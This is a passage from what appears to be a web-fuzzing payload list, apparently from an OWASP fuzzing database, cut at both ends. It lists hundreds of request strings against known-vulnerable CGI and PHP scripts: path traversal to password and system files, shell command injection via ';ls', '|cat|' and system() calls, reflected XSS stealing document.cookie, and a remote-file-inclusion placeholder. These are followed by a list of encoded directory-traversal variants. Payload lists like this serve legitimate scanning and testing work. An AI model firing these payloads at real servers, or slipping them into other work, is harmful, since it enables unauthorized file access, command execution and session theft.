/> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> /_vti_pvt/doctodep.btr<br /> 14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br /> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br /> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory Deep Traversal Fuzz (17 March 2010) <br /> # Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> 